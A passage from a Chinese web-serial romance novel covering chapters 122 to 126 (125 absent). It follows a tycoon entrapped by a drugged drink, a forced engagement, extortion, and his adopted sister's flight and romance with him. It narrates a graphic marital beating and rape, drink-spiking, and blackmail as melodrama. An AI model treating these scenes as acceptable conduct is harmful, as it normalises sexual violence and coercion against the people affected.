他也记得因为有些不对劲,所有没有碰“妹妹”,现在想起来,扶着他上楼时的“妹妹”已经时憬,而是楼心月。
昨晚宴会上喝的是气泡酒,他根本不至于醉到会把楼心月认成时憬,他闭眼,想起楼心月曾递给自己一杯酒——
身后响起的啜泣声打断他的思绪。
他穿好衣服,转身,视线疏离地看着仍拥被坐在床上的女人,她赤裸着肩膀,正瑟瑟发抖。
陆礼藏起厌恶之色,平静问道:“昨晚究竟发生了什么事?”
楼心月闻言心中一喜。
陆礼果然不记得了!
她挤出眼泪,楚楚可怜地抬起头来,“昨晚…你喝醉了,让我扶你上楼休息,但进来后……
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进来后……”她咬着下唇,眼泪滚滚,“然后就……发生了……”
陆礼冷静地听着。
他也醉酒过。
如果真的是酒后失控,他会忘记把控力度,在妹妹身上留下深深浅浅的痕迹,而眼前的楼心月半露的肌肤外没有一点印记。
陆礼淡淡开口,“我知道了,你先穿衣服。”
说罢,他抬脚离开这间卧室。
黄林昨晚也住在这家酒店,所以来的速度很快,已经走到套房门口,但必须楼家、陆家的人都在外间客厅,黄林并未贸然进来。
陆礼穿过客厅,楼正贺跳了起来,指着他就是一顿哎哎哎,“陆少!你想跑吗?”
“老板,请问……”黄林视线有些戒备地看着楼正贺。
陆礼压低声,听起来是吩咐他公司里的事情,实际将真正事情通过信息发到黄林手机。
【在我回来前不准楼心月离开接触任何人,联系医护人员过来取样采血。】
黄林诧异了下,随即应下。
黄林退开两步,佯装已经离开,实则躲在门外打电话,陆礼看了眼腕表,确认时间后给时憬打了个电话,语音提示他手机关机。
他想了下,先让黄林去看同层楼的时憬在不在房间。
从刚才开始,陆礼无视楼正贺的态度太过明显,楼正贺早已忍不下去,转头向陆母发难,一张口就要求陆家对他妹妹负责。
陆母解释:“昨晚已经公布两个孩子会订婚了。”
楼正贺嗤得笑了声,“订婚?有什么用,咱们这个圈子连结婚都不可靠,订婚有多大作用?”
陆母皱了下眉,“既然我们提出订婚,那肯定是希望将来他们也能步入婚姻。心月和陆礼才交往没多久,心月年纪也还小,先订了婚,让他们多谈谈彼此加深了解后再考虑结婚更好。”
楼正贺:“伯母您生的是儿子,觉得他们这样没什么,因为这件事男人就不吃亏。但我妹妹是女人,她都和陆礼睡一张床上,该做的不该做的肯定都做了,万一陆礼变了心,吃亏的是我妹妹,你让她将来怎么嫁人?”
陆母顿感无语。
楼家本就依附陆家,她能开口说订婚,已经是看得起他们楼家,楼正贺这话分明是贪心不足蛇吞象!
陆母皮笑肉不笑,“正贺,你到底只是心月的哥哥,订婚、结婚这种大事,还是要两家人坐下来慢慢谈,回头你联系你父亲。”
“我爸他老人家自从新型材料项目黄了后,身体就不行了,不然昨晚也不会派我来参加您家的新年宴会。我可以联系我爸来,按伯母说的,两家人坐下来聊,但我爸一向看心月看得紧,思想还守旧,不准她发生婚前和男人发生性行为,如果被他知道了心月和陆少都睡过了还只是订婚而不是结婚,怕是要气得当场进医院。”
陆母脸色骤然冷了。
如果没有楼正贺这种态度,陆母也愿意促成两个孩子结婚,但楼正贺今天的举止、态度,每一样都让陆母心生反感。
这个晚辈,就差把贪婪俩字刻在脸上。
陆礼收起手机,冷冷看向楼正贺,直截了当开口:“开什么条件楼家才会接受只订婚。”
终于听到自己想要的问题后,楼正贺脸上的笑容绽放,“陆少的话也不能说得这么难听,我开口要的也是为了安心月和我爸的心,也能表示陆家是真心想要心月这个儿媳妇的。”
陆礼抬了抬下颚,示意他继续。
楼正贺搓了下手,笑着开口:“我们想要的也不多,就是TKY4018和QFV36的专利授权生产,希望能把免费授权给我们三年。”
第122章 您别再干涉我任何事情
陆母不懂集团经营,下意识看向对面的陆礼。
陆礼没有犹豫,张口应下:“可以,我会安排助理拟定合同,今天我们就把授权协议签了。”
楼正贺本意只想要专利一年免费授权,只要拿到授权,他们就能全力研发仿制产品,用更低廉的成本去生产,他们楼家就能活过来。他故意狮子大开口,就是为了留出来对方砍价的余地,没想到陆礼居然一口就答应了。
看来陆礼对自己妹妹有几分真心?
楼正贺早没了刚才的怒气,一脸喜色地向陆礼伸手。
陆礼双手插兜,眉眼冷漠:“刚才拍摄的视频、照片删除。”
三年免费授权拿到手,楼正贺也无所谓刚才拍的东西,当着陆礼的面彻底删除。
最后楼正贺还向陆母确认订婚仪式的日期。
陆母脸色难看,表示需要回去挑日子,等确定后一定及时通知。
守在外面的黄林在门口晃了下。
陆礼带着陆母离开,去旁边套房,恰好看见两个医护人员已经赶来,陆母立刻着急起来,以为是丈夫又出了什么问题,后脚也跟进去。
而陆礼所住的酒店套房内,楼心月在陆家人出去后,才从房间里出来,看向翘着二郎腿的哥哥,压着怒火骂道:“我在里面都听到了!你是疯了吗!狮子大开口敢要三年的专利免费授权!楼正贺,你什么时候变得这么激进了!”
楼正贺朝她翻了个白眼,“大小姐,再不努力点哪还有我们吃香喝辣的好日子过?看上去陆少对你几分真心,三年的免费授权说给就给了。”
楼心月脸色仍旧难看,“你讹陆家这件事爸爸知道吗?还是你自己的主意?”
“老头状态可没老陆总这么好,哪里敢让他知道。打算等新产品下线后再把好消息告诉爸,让老头也高兴高兴。”楼正贺眉飞色舞,仿佛已经能想象到自己要怎么被老头夸了,他瞥了眼脸色阴沉的妹妹,起身走过去,拍了下她肩膀,“你啊,这些日子就好好拾掇拾掇自己,等陆家定下订婚的日子,我们楼家还指望着你带着一起飞黄腾达!”
楼心月拍开他的手。
她的计划被楼正贺搞得一塌糊涂,如果不是因为拿药她没有渠道入手,她绝不会把这件事告诉他!
现在订婚日期还没出来,可楼正贺吃相这么难看,陆家的人会怎么看她?陆礼又会怎么看她?
楼正贺也没在意妹妹给自己摆臭脸,又凑过去问:“昨晚他弄进去没?”
楼心月一时没反应过来,对上楼正贺略显猥琐的眼神,她腾得涨红脸颊,一巴掌甩在他肩膀上:“闭嘴!楼正贺你恶不恶心!”
楼正贺:“这有什么恶心的?难道你昨晚不爽——”看着妹妹脸色实在太过难看,他才没继续说下去,哼笑了声,“陆少看着就挺强的,希望你也能争气点,一次就怀上——”
“滚!”她直指门口,气得浑身颤抖。
楼正贺目的达成,悄声骂了句‘神经’后离开。
楼心月颓然地跌坐在沙发里,双手紧紧环住自己的胳膊,脑袋里一团混乱,楼正贺说陆礼是因心里有她才会一口答应的,但她却清楚地知道,陆礼昨晚那样了都忍住没有碰她,今天醒来后更是对她无比冷漠——
这样的男人,会为什么会答应楼正贺的要求?
他到底想要做什么?
*
另一间套房。
陆礼自行采样、医护人员采血后离开,全程没有超过五分钟,且保持安静、专业。
所有工作都在独立房间内进行。
所以当医护人员离开,陆母并未察觉陆礼真正想要查的是什么,陆礼已身体不适为由进行检查,陆母没有怀疑,这段时间儿子的确太忙了。
在此期间,陆礼仍未联系上时憬。
他看着眼前披着羊绒披肩的母亲,开口问道:“您送时憬去哪儿了?”
陆母在做这个决定时,就做好迟早会被儿子知道的心理准备,她以一个母亲的口吻开口:“我送她回曼城去了,这也是小憬自己愿意去的。”
陆礼完全能想象得出,母亲是用什么样的语气,才让妹妹答应的——母亲明明知道,妹妹有多重视她,可母亲却仍能利用这份亲情逼迫妹妹选择离开。
昨晚的妹妹,会有多难受?
她会哭么?
陆礼闭了下眼睛,强行中断思绪,也压下眼底带出的冷意。“我知道了,”他控制情绪,再次看向母亲,“还有第二件事想要问您,我明明已经告诉过你楼家的贪婪,这种一旦沾上就甩不掉的吸血虫,您究竟是处于什么目的,才突发奇想在昨晚的晚宴上公布订婚?”
他言辞冷静、礼貌。
也正是这份平静,让陆母多了些复杂的情绪,她解释道:“是我没想到楼家竟会这样贪得无厌,但心月是个好姑娘。”
陆礼轻笑一声。
他的这位母亲,被父亲和他保护得太好。
连亲人的话都不相信,只相信自己的眼睛。
“她是好的,就不会和您一起来算计我。”
陆母脸上闪过显而易见的慌乱。
陆礼心底有失望,淡声道:“事情已经发生,我不想再去追究这件事是谁主导的,只希望您以后不要再替我做任何决定。”
陆母拢着披肩的手收紧,脸色紧绷:“不让我做任何决定是什么意思?你想要取消订婚?还是——还是你想把小憬……”她甚至不愿意这件事亲口说出来,语气拔高:“你想让陆家成为沙市的笑话吗!”
陆礼冷冷看她:“您不是怕陆家成为沙市的笑话,而是怕您成为他们口中的笑话。”
这一句话,似利刃毫不留情刺破陆母的自欺欺人。
她嘴唇颤抖:“陆礼——”
陆礼先一步起身,抬脚朝门口走去,“市区天冷后雾霾严重,乡下更适合爸休养,我会安排您和爸回乡下住一段时间。”
“小礼,你是什么意思?”
陆礼回眸,眉眼间适度流露出疲惫之色,“这段时间处理陆氏各种问题我已经够累了,如果您还记得我是您的儿子,好好照
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顾父亲,别再干涉我的任何事情。”
说完后,他头也不回离开。
这会儿陆父还在睡,母子二人的谈话也没有将他吵醒。
陆礼拿到了时憬落地的航班号,发给在曼城的艾丽卡,让她接到人后立刻告诉他。
他没有回属于他的套房。
浴室估计已经被人用过,他没有和其他女人公用浴室的习惯,宁愿忍耐一个小时回到市区的公寓再彻底清洗。
氤氲的热气中,他放松片刻。
妹妹不在沙市也好,等他把楼家、董事会的事情都处理完后,再将她接回来,到那时候,母亲应该也不会继续再干昨晚那样的蠢事。
他给时憬发了信息,简单解释下情况,避开母亲与楼家设计他的事情,让她在曼城再待一段时间,他会尽快带她回家。
妹妹的回复是在三天后来的。
【时憬:我知道了】
而陆礼与楼心月订婚的消息已经传遍沙市整个上流社交圈,订婚日期定在二月九日,农历新年的前四天,这刚宣布订婚日期就公布了,还这么近,很难不让人揣测楼家的这位是带球上位,肚子快瞒不住了才急匆匆地订婚要个保障,然后等生下孩子后再补婚礼。
这本是胡乱传的,但随着流言蜚语扩散,这件事越传越真,刚蜜月旅行回来的童宛落地第二天就听到了这个惊天**大新闻,立刻联系时憬。
童宛还记得在结婚当天,时憬说只有她自己知道这辈子只会深爱一个男人时的表情,那么坚定、认真。
她怕好姐妹钻牛角尖。
语音很快接通,童宛稀里啪啦砸了一堆问题过去,另一边的时憬也有好耐心一一回答这些近况问候的话题。
当童宛确定好姐妹情绪稳定后,不再按捺自己的八卦之心:“陆少要和楼心月真的要订婚了??现在大家都在传匆忙订婚是因为楼心月肚子里有了,这瓜保熟吗?”
时憬无奈笑了声:“我最近都在曼城,还真不太清楚。”
童宛愣了下,“你怎么又被流放了?”
这次时憬笑了下,没有再回答,“童宛。”
好姐妹突然正儿八经叫她的名字,倒是让示意童宛收敛起吊儿当啷的表情,“我在呢,怎么了?”
时憬:“谢谢你啊,童宛。”
电话里的人没头没尾说了一句话,让童宛一时摸不着头脑,“突然之间说这个干嘛啊?”
轻柔的声音继续透过电波传来:“突然想到了和你说一声,你看啊,最近出了这么多事情,只有你还会和我来往,所以童宛,谢谢你,这些年幸好有你在。”
哪怕隔着遥远的距离,童宛也能想象出好友的表情,她鼻子酸涩了下,用手指搓了搓鼻尖,“什么呀,咱们可是要做一辈子的好朋友的!将来老了都得住进同一家养老院的那种!”
时憬终于被她逗笑。
他们还约好,等到过完年,童宛就飞去曼城找她。通话结束后,童宛所在的房门也刚好打开——
卫文耀周身酒气熏天地走进来。
第123章 纸包不住火
卫文耀喝醉了,但眼睛还能看清楚自己妻子的每一个动作,他亲眼看见在他进门后,妻子收起手机的动作。
也让他想起今晚酒局上,朋友们喝多了后无心议论的事情——圈子里哪个女人最玩得开,他们提及了几个人名,童宛的名字赫然在列。
哪怕在婚前,他已经接受了童宛糊涂的过往,但在婚后、在今晚喝醉酒后、在看见童宛的动作后,那些诡异失控的嫉妒就爬了出来。
他努力走直线靠近,用醉酒掩盖猜忌,“是谁的电话?”
童宛回头看他,“是时憬的。”因闻到强烈的酒气,童宛忍不住五官都皱了起来,“你喝了多少?”
“没多少。”卫文耀继续靠近,想要触碰妻子,却被童宛躲开。
她毫不掩饰脸上的嫌恶,捂着鼻子道:“还没多少?!一身酒味臭**,赶紧去洗澡!”
……
“这些人里面玩得最开的还得是童宛!和小白脸跳着舞就见了——”
……
“你看看她都交的什么朋友!结婚这么重要的场合居然还找那个女人来当伴娘!一点都不为我们卫家考虑!”
……
在这些日子里,不知不觉中堆积在心底的情绪像是终于找到了发泄口,他为了她承受朋友的议论,为了她顶住父母的批判,可她呢——
居然用这样的眼神看他?
他沉下脸,一把抓住童宛的胳膊,不让她继续躲避自己。
童宛胳膊吃痛,语气带着怒气质问:“卫文耀你干嘛!”
他喝醉了,不再吝啬自己的力气,强行把人拽到面前,手掌摸上她纤细的腰,一路往下,从裙摆探入,“我是你老公,你说我要干什么。”
他低下头,想要吻她。
童宛是从不肯亏待委屈自己一丁点的性子,交往的男人哪个不是干干净净气味好闻的?包括眼前的卫文耀,也配合她的这些小要求。
此时气味这么难闻,她如何会委屈自己?
当场两手就想把人推开,不耐烦道:“臭,别碰我!没听懂吗?!”
“啪——”
“你这是和老公说话的语气吗?!”
童宛像是愣住了,脸上火辣的痛感在告诉她,卫文耀打她了,还是打了她的脸。
卫文耀不再压抑怒气,他掐住童宛的脸颊,强迫她抬头,对于她此时不再盛气凌人的表情透过说不出的满足与痛快,“我爸应酬回来,我妈都是端茶送水嘘寒问暖,你嫁给了我,也要学一点我们卫家的风气,知道吗?”
童宛逐渐回过神。
震惊过后就是愤怒,她用力拍开卫文耀的手,两手朝着男人的脸、身体、胳膊打过去,毫无章法可言,但每一下都下了力气,“你TM喝多了跟我耍什么酒疯?!还敢动手打我?!你们卫家有什么了不起的还TM——”
卫文耀挨了两下后,发现她手重,甚至还用指甲挠他的脸,嘴里还在骂他们卫家。
如果没有他——
谁会娶这个不干不净的女人?
她没有感恩还敢骂人?
卫文耀暴怒,抓住童宛胳膊朝着床用力甩过去。
童宛的头狠狠撞上床头,眼前阵阵发黑。
她还来不及呼救,散落下的长发就被一只手粗鲁攥住,她被迫仰面看着眼前面庞狰狞的男人,耳边炸开他威胁的声音。
“你再敢打我一下试试看!”
童宛再骄纵,也只是一个女性。
在男人的绝对力量面前,她毫无还手之力,愤怒过后,脑袋的晕眩、头皮的疼痛幻化成恐惧,她的嘴唇发抖,不敢出声,像是被吓坏了。
骄傲的公主终于露出了软弱的一面。
男人居高临下,生出扭曲的快感。
他抬手,一件件脱去衣服。
用浑身难闻的酒气,用上位者的姿态,用他以前只敢想不敢做的姿势,哪怕她流泪求饶,他也恍若未闻。
……
痛苦过后,男人力竭,倒在她的身上。
连呼出的气息都让人觉得恶心。
童宛把他推开,咬牙忍着浑身的疼痛、头疼晕眩,穿上衣服拿上手机、所有重要物品连夜离开卫家。
她要离婚——
立刻离开卫文耀这个禽兽!
*
血检报告出来,证明陆礼在元旦这天摄入了某些违禁药物。
与此同时,陆礼答应给楼家三年两项免费专利使用权的事情,被董事会中的某些人知道,他们本就不满陆礼年纪轻轻就接受总裁的职位,再加上这些年陆礼雷厉风行的手段,账面底下的灰色收入锐减。
陆氏集团与楼家的合作项目触雷,险些把集团也给拖下水,这些人本就不满陆家父子接济楼家,在知道楼家那边拿到三年免费授权后,产品已经开始下线大量生产,用比同行低廉的价格开始接单。
董事会议吵得不可开交。
甚至有人提出要更换总裁,还有几人应和。
黄林知道这个消息后,再好的涵养也没忍住爆了句脏口。
集团危难之际,这群人个个都是缩头乌龟,现在缓过来了,逮到陆总一点小错就想要卸磨杀驴?!
陆礼早有预料。
他看到黄林收集到楼家接的订单数,合上文件夹,“查一下给楼家下订单的这几家公司,在不在集团的供应商清单里。”
黄林到底也跟了陆礼多年,立马反应过来。
那几人跳脚这么厉害,说不定和这几家供应商有关系!
黄林本来也不懂老板为什么要答应楼家,明明新年宴会那天老板是被仙人跳了,现在他只觉得醍醐灌顶——
陆总这是要一件事收拾两拨人!
黄林眼睛都亮了,“我这就查!”
他转身退出总裁办,一抬头看见站在不远处的楼心月,她被助理客客气气地拦住。
虽然整个集团都知道楼心月与陆礼即将订婚的消息。
但他们都是拿工资的牛马,没有预约,准未婚妻楼心月也不在能够随意出入的白名单上,上一次‘不小心’放行的助理已经被辞退,现在谁还敢放行?
当黄林出现时,助理就像看见了救星。
楼心月也温柔地与黄林打招呼,“我是来找陆礼的。”两家的项目合作黄了,楼心月在集团的‘学习’也结束了,今天她是以访客的身份才能进入总部,拜访的还是曾经认识的女生,而不是陆礼,因为陆礼迟迟没有批准她的预约。
所以楼心月才会被拦住。
黄林看破不说破,礼貌地回:“陆总还在会议中,现在恐怕没空见您。”
楼心月微微一笑:“那我在外面等会儿。”
黄林装模作样查了下日程安排,露出一个为难的笑脸,“真不巧,陆总下面还有两场视频会议——”视频会议也就是不会出总裁办,你要问不出来上厕所?不好意思,总裁办里还有配套的卫生间,甚至还有一间休息室,“最近集团事情多,陆总已经吩咐过我们不要因为私事耽误工作,陆总也不会希望自己先破例。”
言下之意,今日楼心月肯定无法进去。
她笑容逐渐勉强,“好,那我就不先打扰你们了,晚上再找他说。”
黄林客客气气的亲自送她进电梯。
电梯门合上,他给前台去了个电话,如果十分钟后还没有看见楼心月离开,立刻告知他。
这一次楼心月没有在总部停留。
她坐进车里,脸色阴沉的难看,抓着方向盘的手收紧。
虽然陆家定下了订婚的日期,但陆礼对自己的态度越来越冷淡。
不接电话、不回信息,她甚至都见不到陆礼的面。
这哪里像是即将订婚的人该有的态度?
他们真的能顺利订婚么?
随着日子一天天过去,楼心月的不安与恐惧越来越重,他接触不到陆礼,就想要从陆母下手,但陆母陪着陆父又去了乡下,楼心月去看望过几次,陆母待自己也冷淡下来。
昨天她离开时,陆母开口说陆父需要静养,让她近期专心准备订婚,与陆礼多联络感情,不用再费功夫来看望他们。
思及此,楼心月只想要咒骂楼正贺那个蠢货。
如果不是他,自己不会沦落到这个地步!
至少陆母能站在自己身边!
而陆礼显然没办法违背她。
在她烦躁时,手机忽然震动了下,进来一条陌生号码发来的信息。
楼心月快速扫过,脸色骤变
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。
她回拨过去,对面的人说张口就要钱。
说之前接了她的那单生意后,自己手底下好几个兄弟都因为‘造谣’‘诽谤’被关进去了,本来做这些事情的确有这样的风险,尤其目标还是陆家,但一般都能在风头过去后,花点钱把人弄来,可这次上面的人却怎么都不肯松口,甚至连他的孝敬都不肯收了。
事情远不止如此。
近期他都接不到工作,在这一行他被拉黑了。
他这才意识到是陆氏集团对自己的报复。
冤有头债有主,他立马缠上楼心月。
楼心月回信息:【我们的交易已经结束】
【陆家显然没放弃挖到真正的幕后主使,我的兄弟都被关着,日子也快撑不下去了,到时候你别怪我为了生存说出些东西来】
楼心月看着屏幕上赤裸裸的威胁,险些咬碎牙齿。
【你们拿钱办事,我该付的钱已经付完了!】
【我付出的代价太过惨重,你我之间的交易就没完,想让我闭嘴就继续给钱】
楼心月哪里还有钱!
更何况还要再拿八十万,这简直就是敲诈!
她不确定对方手里有多少自己的把柄,眼下她只能继续拖延,回了句我会想办法凑钱。
楼家生意江河日下,所有流动资金都给楼正贺运营去了,她在家里要不到这一笔钱,也没法向人开口借钱,这个圈子到处充斥着名利二字。
她即将要和陆家订亲,现在向人张口借钱,第二天就会传遍圈子,她也不愿成为别人茶余饭后的谈资,变卖了几只包、几件首饰后,才给对方打去八十万。
钱打过去,楼心月以为事情就此平息。
却没想到五天后,要钱的信息又来。
张口就是要一百万用来赎人。
楼心月烦不胜烦,订婚将近,陆礼迟迟不愿见自己,她提出订婚时需要购买礼服、戒指等必需品,都是黄林陪着她去。
全程陆礼没有露面。
他完全不期待这场订婚,也毫不掩饰自己冷漠的态度。
圈子里的人也都是人精。
有几个楼心月在沙市来往比较近的朋友渐渐察觉到不对劲,楼心月再怎么焦虑,也要硬着头皮继续将与陆礼的恩爱演下去。
她不择手段嫁进陆家,这样才能完成再一次的阶级爬升,她不允许有任何人破坏订婚。
这次,楼心月没有继续给对方打钱。
而是找人去找对方‘谈谈’。
距离订婚仪式还有四天。
楼心月刚做完身体护理,手机又跳进来一条陌生信息。
【楼大小姐和陆总四天后就要订婚了吧?身为大小姐的老朋友,肯定要送您一份盛大的订婚贺礼,回馈您雇人威胁老子的谢礼】
楼心月顿时脸色煞白。
什么情况!!!
那些人不是说对方已经同意不再威胁她了吗?!
她联系黑帮的人,拨过去却说她打的是空号!
她被耍了!
黑帮的人拿了钱根本没有帮她办事!
楼心月抖着手联系男人,可同样的也是空号!
她陷入绝望,他说的订婚贺礼是什么意思?他、他难道要毁了自己?
不不不——
她好不容易走到这一步,眼看着她就要嫁给陆礼了,她不允许任何人来坏她的事情!
快想啊——
对方说要在订婚日送她贺礼,她有什么办法可以阻止?
有什么办法……阻止……
楼心月几乎要把咬唇咬出血,她握着手机的手动了下,脑中生出一个念头,她点开手机相册,找到了自己亲自拍下的一张张照片与一段视频。
慌乱与恐惧都被疯狂的情绪压下。
既然对方要送她一份贺礼,那她只要把事情闹得更大,闹得整个沙市都看见,让所有人注意到陆礼和时憬见不得人的关系上,让所有人都知道陆家是为了拆散他们,才有了她和陆礼的订婚。
这就是事实,她才是受害者。
而真正破坏订婚仪式的,不是她这个可怜的受害者,将会是爱而不得的时憬。
只有这样,她才能保住自己。
当天,楼心月定了去曼城的机票。
第124章 我和陆礼发生了关系
时憬清理了一批微信里的好友。
只保留了最亲近的几人。
如今她住在曼城,也不主动刷社交软件,对沙市发生的事情、新闻一概不知。
即便这样,她的状态也时好时坏。
艾丽卡也终于发现时憬不是因为缺少日晒而情绪不稳定,她想要把时憬令人担心的情况告知雇主陆先生,被时憬暂时阻止了,因为时憬说哥哥快要订婚了,她不想要打扰哥哥的幸福,请艾丽卡忍耐到订婚后再说。
憔悴的时憬央求着她,令艾丽卡无法狠心拒绝。
于是,艾丽卡提出让时憬寻求曼城当地心理医生的帮助。
时憬一本正经的告诉她:“白人医生治不了东亚心病,文化差异比病情更难调节。”
艾丽卡表示无法理解。
时憬继续举例子:“比如,你们会因为Nobodylovesyou而伤心崩溃,但这句话对我们来说是从小听到大的,朋友、或许是亲戚、也可能是家人,在我们不听话或者没有达到他们期盼的时候,他们就会说不会有人喜欢你。”
艾丽卡因这段话而开始同情的看着眼前的时憬。
时憬接着往下说:“同样的,我们也无法理解你们对teenager近乎包容的行为,在我们国家有爸妈的巴掌、棍子,再严重就是警察和少管所等着他们。”
艾丽卡被说的哑口无言。
“像这样的文化差异还有很多很多,在心理医生完全了解我的情况前,得先就文化差异沟通,不过等到沟通结束,我估计就要付出高昂的诊疗费。”时憬故作轻松的耸下肩膀,“艾丽卡,不用太担心我,等哥哥订婚后,我会回国接受治疗的。”
时憬的伪装如此完美,表现出完全不抗拒治疗的反应,尚不完全了解她的艾丽卡如何能识破?
艾丽卡开始数着陆先生订婚的日子。
她是真心希望时憬能够健康幸福。
日子一天天过去,时憬做好了离开的准备,定好了飞宣城的机票,她知道自己离开后,陆礼会有办法查到她所有出行的订单,所以她故意让陆礼认为自己会躲在杭县。
落地杭县后,她已提前联系好一个女司机,从杭县一路开车去春城,这段行程全部走线下,陆礼是无法查到的。
在规划这些时,时憬的状态竟是出奇的好。
只等到陆礼订婚过后,她就能逃离。
她挣扎着想要继续活下去,也不想再伤害爸爸妈妈,更不想要给陆家带去更多的麻烦,只要她离开,一切就能迎刃而解。
可能……
陆礼会伤心。
但她不能继续再拖累他。
而她也快到极限了——
说到底,是她自私的选择了逃避。
时憬给陆母和陆父、秦医生、童宛分别写了一封信,从曼城寄出去,大概要两个月才能寄到沙市。那时候她大概已经在春城平静生活一段时间。
给陆礼的书信,她迟迟未动笔。
仿佛写什么都是逃避的借口,陆礼看到后会生气的直接撕了?
在犹豫间,艾丽卡上楼说有她的访客。
时憬问了句是谁。
艾丽卡说是一位美丽的女士,没有提供名字。
知道时憬在曼城住址的人屈指可数,而且艾丽卡还说是位女士,时憬下意识认为是好友童宛,连忙放下笔下楼。
最近与童宛的联系变少,她与卫文耀的婚姻似乎出了些问题,童宛不愿说具体原因,只坚持要和卫文耀离婚。上次联系时,童宛说卫文耀跑到她爸妈面前装可怜,痛哭流涕的请她不要离婚,童宛没动摇,她爸妈收了卫文耀赠送的一栋度假别墅后,扬言如果敢离婚,童家就没她这个女儿。
童宛为此哭了两次。
时憬默默的在视频另一端陪着好友。
甚至连拥抱、安慰好友都做不到。
现在童宛来了,她有许多许多话想和童宛说,下楼的脚步越来越急,脸上是担心与期盼,可当她下了楼来到客厅,看见坐在沙发上的女人时,眼中生出的期盼被冷漠瞬间覆盖。
楼心月听见脚步声,转头,笑容温婉优雅:“小憬妹妹,好久不见。”
时憬语气冰冷,“你来找我做什么。”
楼心月从包里取出两样东西,轻轻放在茶几上,往外推了些,“把这两样亲手送到你手上,还有几句话想亲口告诉你。”
时憬走过去,在左手边的单人沙发坐下。
视线垂下,看清楼心月放下的东西。
一张请柬。
一盒巧克力。
楼心月看她不为所动,主动打开巧克力盒,从里面取出一颗,拆开包装,递给时憬:“我听陆礼说,这是妹妹喜欢的巧克力牌子,就选了它做订婚宴会上给宾客的伴手礼。从沙市一路带过来的,可能飞机上气温有些高,巧克力有些变形了,你……愿意尝一下么?”
楼心月眼神温柔的
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看她,“如果陆礼知道你吃了,我想他也会高兴的。”
反之,她不吃,陆礼也会知道。
如果是之前的时憬,会暴怒,抓起这盒巧克力扔到门外,然后指着楼心月让她滚,不要跑到她面前来炫耀。
可自己快离开了。
又何必再给陆家惹麻烦?
而且——
这真的是她喜欢吃的巧克力牌子。
而且——
陆礼是真的要和楼心月订婚了。
时憬捏住微微变形的巧克力塞进口中,口腔的温度再加上唾液,让固体巧克力渐渐融化,从里面渗出黑巧的苦,好像比她任何一次吃起来都要苦些。
她咽下,开口时嗓子微微有些沙哑,“巧克力我吃了,请柬也收到了,你可以离开了。”说罢,她起身离开,“艾丽卡,帮我送——”
“我和陆礼的订婚本来是假的!”
楼心月的声音猝不及防响起。
时憬停了下。
她转头,看向站起身、神情激动的楼心月。
“我知道陆礼其实喜欢的是你,我和陆礼订婚这件事是伯母擅作主张定下的,就为了拆散你和陆礼,这场订婚本来是会取消的——”
楼心月用的词是本来。
所以现在这场订婚是不会取消了。
时憬表情仍然平静,她已经猜到了,在妈妈安排好一切再次把她送到曼城时,在她看见兄长发来的信息,让她在曼城待一段时间时,她就知道了,这场订婚不会那么容易取消。
她是陆礼的妹妹。
可除了她之外,陆礼也有母亲、父亲,他还有陆氏集团。
“祝你们订婚愉快。”
时憬扯了下嘴角,试图扬起一个虚假的微笑。
楼心月直勾勾望着她,“你不想知道为什么订婚又不取消了么?”
时憬却不想继续听下去了。
她转身再次离开。
但楼心月开口的速度更快。
“因为我和陆礼发生了关系——”
时憬脚下的步子越来越快。
“在陆氏新年宴会那一晚,陆礼他……他把我当成了其他人,我们发生了关系。”
时憬想要捂住耳朵。
站在原地的楼心月还在继续开口:“那天晚上他一直在叫一个人的名字,小舟——”
时憬的脚终于停下。
楼心月嘴角微微扬起,眼底闪过一抹精光,而后继续用温柔无辜的语气反问:“小舟是你的小名是吗?”
第126章 她是你亲自带回家的妹妹啊!
童宛愣了下,她并未看见卫文耀说的那人,“你说像谁?”
这是她这一段时间以来对卫文耀态度最平和的一句话。
卫文耀左右看了眼,低声报了时憬的名字,又说:“陆总订婚,她没出现,你不觉得奇怪么?”
当然奇怪。
但在童宛怀疑陆礼与好友的关系时,下意识就偏向好友,觉得这样的订婚典礼不参加也好,再加上最近陆家对时憬的态度,就跟流放无异,她好奇,但好友不说,她也就不问。
但刚才那个人真的是时憬么?
童宛冷冷回了句‘这也是陆家的私事有什么好奇怪的’,她给时憬打微信通话,无人接听。
她皱眉,直接打电话。
卫文耀好脾气地解释:“我这不是看你担心好姐妹所以才留意的,她什么都没和你说吗?”
童宛放下手机,时憬的手机关机了,“他们都往哪里去的?”
卫文耀指了方向。
宴会厅有多个出入口,在主出入口同一侧也有一道门,那边通一道走廊,更衣室、休息室也在里面。
童宛担心真的是时憬来了,也往那边通道走去,卫文耀紧随其后。
准新人前后离场,不止童宛夫妇注意到,陆父也看见了,只不过刚才有宾客前来寒暄,他不好多问,这会儿眼前清净了,他侧首,低声问身后推着轮椅的陆母,“两个孩子急匆匆的是去做什么?”
陆母道:“可能是什么朋友来了,”她按了下眉心,从今天早上起眼皮就直跳,心神不宁,“我去看看吧,宾客差不多来齐了,时间也快到了。”
陆父:“去看看吧,两个人都不在像什么话。”
陆母把轮椅交给护工,也向着楼心月离开的方向走去。
*
休息室不算宽敞。
里面无人使用。
空气比宴会厅里低了一大截,刚进去就被四面八方涌来的寒意裹住。
陆礼拉着人进入休息室,甚至连门都来不及完全关上,抬手拉下眼前人遮面的口罩。
他怎会认不出妹妹?
他眼神复杂地看着她,“什么时候回来的?我让黄林先送你回去。”
时憬昂着头,平静地看他:“为什么不让我留在这儿?今天是你的订婚仪式,我不能祝福你和她吗?”
可她的嗓音沙哑,眼角通红,眼白遍布无数红血丝,像是个破碎的布娃娃般,只望着眼前的兄长。
陆礼照顾了妹妹这么多年,敏锐察觉到她情绪的不对,温热宽厚的手掌拢上她的脸颊,嗓音温和道:“看你的眼睛熬这么红,这是有多久没好好休息了?这儿太吵了,你先回家好好休息,等晚上我们再说。”他顿了下,像个能无限包容妹妹任何小脾气的兄长般,“不想回陆园,就去我那儿?洗漱用品和衣物让人去——”
“你一定要把我送走,才能安心订婚是么?”她打断兄长的话,冰冷的指尖抓住他的衣摆。
陆礼胸口微涩,握住她的手,团在掌心,“只是订婚,等明天事情结束后会立即取消婚约,乖,听话,再等我一天,好么?”
可是……
哥哥……
之前你不是这么说的。
更早之前他都不是这么说的啊。
你明明说,和楼心月没有任何关系;你明明也说,你们不会订婚的……
可是呢——
你们有了关系!
你们也订了婚!
我该怎么继续相信你的每一句话?
她摇头,轻声呢喃着“不要”,她看见兄长再度开口,在他说话前,时憬挣脱他的手掌,一手拽住领带,踮起脚,用力吻上他的双唇。
明明兄长耐心地教了她那么多次,可她依旧不是一个好学生,着急起来全然忘了那些教导,急切又莽撞。
陆礼对她总有无限好脾气,安抚着妹妹混乱急躁的脾气。
